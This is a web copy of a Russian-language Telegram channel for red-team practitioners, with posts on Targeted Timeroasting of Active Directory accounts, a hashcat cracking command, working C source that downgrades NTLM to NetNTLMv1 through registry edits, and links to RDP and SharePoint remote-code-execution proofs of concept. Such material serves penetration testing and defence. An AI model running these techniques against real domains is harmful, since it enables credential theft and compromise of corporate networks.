Ralf Hacker Channel

Description
Пул тегов:
https://t.me/RalfHackerChannel/297

Чат канала:
https://t.me/RalfHackerPublicChat

Админ: @hackerralf8
We recommend to visit

Подниматор настроения. Видео-мемы с животными. Прикольные видео каждый день. Делись с друзьями ☺️

По рекламе: @lloggann

Last updated 3 months, 2 weeks ago

Мой ТГ: @Mernes_Maxim
Чат: @mernesmax
IG: Instagram.com/mernesmax
VK.com/Mernes
YT: https://youtube.com/@CryptoBoss
http://Mernes.ru

Last updated 2 months, 1 week ago

По всем вопросам - @vitya_oka

Last updated 1 year, 9 months ago

2 months, 1 week ago
Telegram по неизвестной причине удалил канал …

Telegram по неизвестной причине удалил канал 1N73LL1G3NC3. Однако автор решил продолжить делиться крутыми штуками и начал канал заново. Делюсь

https://t.me/P0x3k_1N73LL1G3NC3

2 months, 1 week ago

Сегодня я увидел в нескольких каналах информацию про атаку Targeted Timeroasting и очень вдохновился ею.
В двух словах, что такое атака Timeroasting - Это атака, позволяющая получить хеш пароля машинной учетной записи. В целом, мы знаем, что это для нас бесполезно, т.к. пароль машины чаще всего очень длинный и сложный. Но есть сценарии, когда пароль все таки бывает простой и, в совокупности с атакой pre2k, можно построить интересный вектор. Об этом в своем блоге недавно писал @snovvcrash.

Суть атаки Targeted Timeroasting немного в другом: если у нас есть права GenericWrite на объект пользователя, то мы можем превратить этого пользователя в компьютер (что?) и запросить хеш для него. Превратить пользователя в компьютер можно двумя простыми шагами:
1. Меняем userAccountControl на 4096 (UF_WORKSTATION_TRUST_ACCOUNT)
2. Переименовываем sAMAccountName в тоже имя, но со знаком $ на конце
После этих действий сервис времени будет уверен, что это теперь компьютер и отдаст вам хеш.
Хорошо, как можно это использовать?

1 Сценарий.
У нас есть права Domain Admins и не хочется шуметь с помощью атаки DcSync, тогда можно запустить Targeted Timeroasting на всех пользователей и вы получите хеши учеток, которые потом надо будет еще сбрутать.

2 Сценарий.
Захватили учетку HelpDesk. Чаще всего у этой учетки есть права GenericWrite на половину домена. CA в домене нет, значит не провести атаку Shadow Creds. Проведя атаки Targeted Kerberoasting или Targeted AsReproasting мы получим билеты, которые нет возможности побрутить по большим словарям. А с помощью атаки Targeted Timeroasting мы, во-первых, не сильно нашумим на SIEM (не факт, конечно), а во-вторых, получим хеши, которые можно перебирать с чудовещной скоростью.
Остальные сценарии придумайте сами :)

Свежий ресерч про эту атаку вы можете прочитать в блоге. Брутить хеши на hashcat можно так:

git clone https://github.com/hashcat/hashcat && cd hashcat git checkout 5236f3bd7 && make ./hashcat \-m31300

Для атаки Targeted Timeroasting был разработан PowerShell скрипт. Но сегодня я переписал атаку на Python и выложил у себя в репозитории: https://github.com/PShlyundin/TimeSync
Назвал инструмент TimeSync, потому что мне эта атака очень напомнила классический DcSync.

2 months, 2 weeks ago
4 months, 3 weeks ago
5 months, 3 weeks ago
Интересные у них отчеты, люблю такое …

Интересные у них отчеты, люблю такое чтиво и всем рекомендую) и атакерам, и защитникам))

https://t.me/s3Ch1n7/427

#report

6 months ago
7 months, 3 weeks ago

Совсем недавно Миша выложил инструмент LeakedWallpaper, а я уже успел применить его на проекте. Все отработало отлично! Но зачем нам нужен NetNTLMv2 хеш? Давайте подумаем, как можно улучшить технику, если на компе злющий EDR, но зато есть права local admin. С правами local admin вы можете с помощью манипуляции ключами реестра сделать downgrade NTLM аутентификации до NetNTLMv1 и получить уже хеш, который можно восстановить в NTLM хеш в независимости от сложности пароля пользователя. Для этой цели я написал небольшую программу, которая бэкапит текущие настройки реестра, затем делает downgrade и через 60 сек восстанавливает все обратно.

```
#include
#include
#include
#include
#include // для функции sleep

void GetRegKey(const char path, const char key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);

if (RegOpenKeyEx(HKEY\_LOCAL\_MACHINE, path, 0, KEY\_READ, &hKey) == ERROR\_SUCCESS) { RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize); RegCloseKey(hKey); *oldValue = value; } else { printf("Ошибка чтения ключа реестра.\n"); }

}

void SetRegKey(const char path, const char key, DWORD newValue) {
HKEY hKey;

if (RegOpenKeyEx(HKEY\_LOCAL\_MACHINE, path, 0, KEY\_WRITE, &hKey) == ERROR\_SUCCESS) { RegSetValueEx(hKey, key, 0, REG\_DWORD, (const BYTE*)&newValue, sizeof(DWORD)); RegCloseKey(hKey); } else { printf("Ошибка записи ключа реестра.\n"); }

}

void ExtendedNTLMDowngrade(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\CurrentControlSet\Control\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\CurrentControlSet\Control\Lsa", "LMCompatibilityLevel", 2);

GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1\_0", "NtlmMinClientSec", oldValue\_NtlmMinClientSec); SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1\_0", "NtlmMinClientSec", 536870912); GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1\_0", "RestrictSendingNTLMTraffic", oldValue\_RestrictSendingNTLMTraffic); SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1\_0", "RestrictSendingNTLMTraffic", 0);

}

void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\CurrentControlSet\Control\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}

int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;

ExtendedNTLMDowngrade(&oldValue\_LMCompatibilityLevel, &oldValue\_NtlmMinClientSec, &oldValue\_RestrictSendingNTLMTraffic); // Задержка 60 секунд sleep(60); NTLMRestore(oldValue\_LMCompatibilityLevel, oldValue\_NtlmMinClientSec, oldValue\_RestrictSendingNTLMTraffic); return 0;

}
```

Компилируем так

x86\_64\-w64\-mingw32\-gcc \-o ntlm.exe ntlm.c

В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit!
Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :)
P.S. Не забывайте добавлять привилегированные УЗ в Protected Users.

7 months, 4 weeks ago

CVE-2024-38077: Windows Remote Desktop Licensing Service RCE

https://github.com/CloudCrowSec001/CVE-2024-38077-POC

Запатчено 9 июля

#exploit #ad #rce #pentest #redteam

8 months ago

RCE через Microsoft SharePoint Server 2019
Microsoft SharePoint — веб-платформа для совместной работы, управления документами и организации совместного доступа к информации в организациях, которая широко используется в корпоративной среде.

Недавно увидел интересные CVE которые затрагивают эту веб-платформу:

CVE-2024-38094
CVE-2024-38024CVE-2024-38023

Чтобы успешно эксплуатировать RCE, необходимо выполнить несколько условий, а именно
1) Сетевой доступ к уязвимому серверу SharePoint.
2) Учетные данные (лог/пасс) для NTLM аутентификации + учетная запись должна иметь права на создание файлов и папок.

Для успешной эксплуатации уязвимости предоставляется три скрипта: poc_filtered.py, poc_specific.py и poc_sub.py. Сейчас коротко разберем суть и как они работают.

Все три скрипта используют NTLM аутентификацию для доступа к API SharePoint и выполняют схожие действия:

Скрипты сначала аутентифицируются на сервере SharePoint с использованием предоставленных учетных данных. Затем они создают необходимые папки на сервере, такие как BusinessDataMetadataCatalog, отправляя POST-запросы к API SharePoint по пути /api/web/Folders.

Далее создается и загружается файл метаданных BDCMetadata.bdcm, содержащий информацию для выполнения уязвимости. В информации находятся команды для выполнения различных методов SharePoint, таких как GetCreatorView, GetDefaultValues, GetFilters и FindFiltered. Эти методы позволяют взаимодействовать с объектами и данными SharePoint, что в конечном итоге позволяет выполнить произвольный код.

То есть после запуска poc_filtered.py создается новая папка BusinessDataMetadataCatalog, после чего скрипт получает и сохраняет значение X-RequestDigest для дальнейших запросов. X-RequestDigest — это токен, подтверждающий, что запрос исходит от подлинного пользователя. Этот токен включается в заголовки последующих запросов для подтверждения их подлинности. Затем скрипт создает и загружает файл метаданных BDCMetadata.bdcm в созданную папку. Этот файл содержит данные и команды, которые будут использоваться для выполнения уязвимости. В конце, скрипт отправляет специально сформированный XML-запрос к API SharePoint для выполнения уязвимых методов, что позволяет выполнить произвольный код на сервере.

Но между скриптами есть небольшая разница, а именно в используемых методах.

1) poc_filtered.py использует метод FindFiltered для взаимодействия с объектами SharePoint.
2) poc_specific.py использует метод FindSpecific для выполнения конкретных задач и команд.
3) poc_sub.py в этом скрипте используется метод Subscribe для подписки на события или действия.

PoC
PoC Video

We recommend to visit

Подниматор настроения. Видео-мемы с животными. Прикольные видео каждый день. Делись с друзьями ☺️

По рекламе: @lloggann

Last updated 3 months, 2 weeks ago

Мой ТГ: @Mernes_Maxim
Чат: @mernesmax
IG: Instagram.com/mernesmax
VK.com/Mernes
YT: https://youtube.com/@CryptoBoss
http://Mernes.ru

Last updated 2 months, 1 week ago

По всем вопросам - @vitya_oka

Last updated 1 year, 9 months ago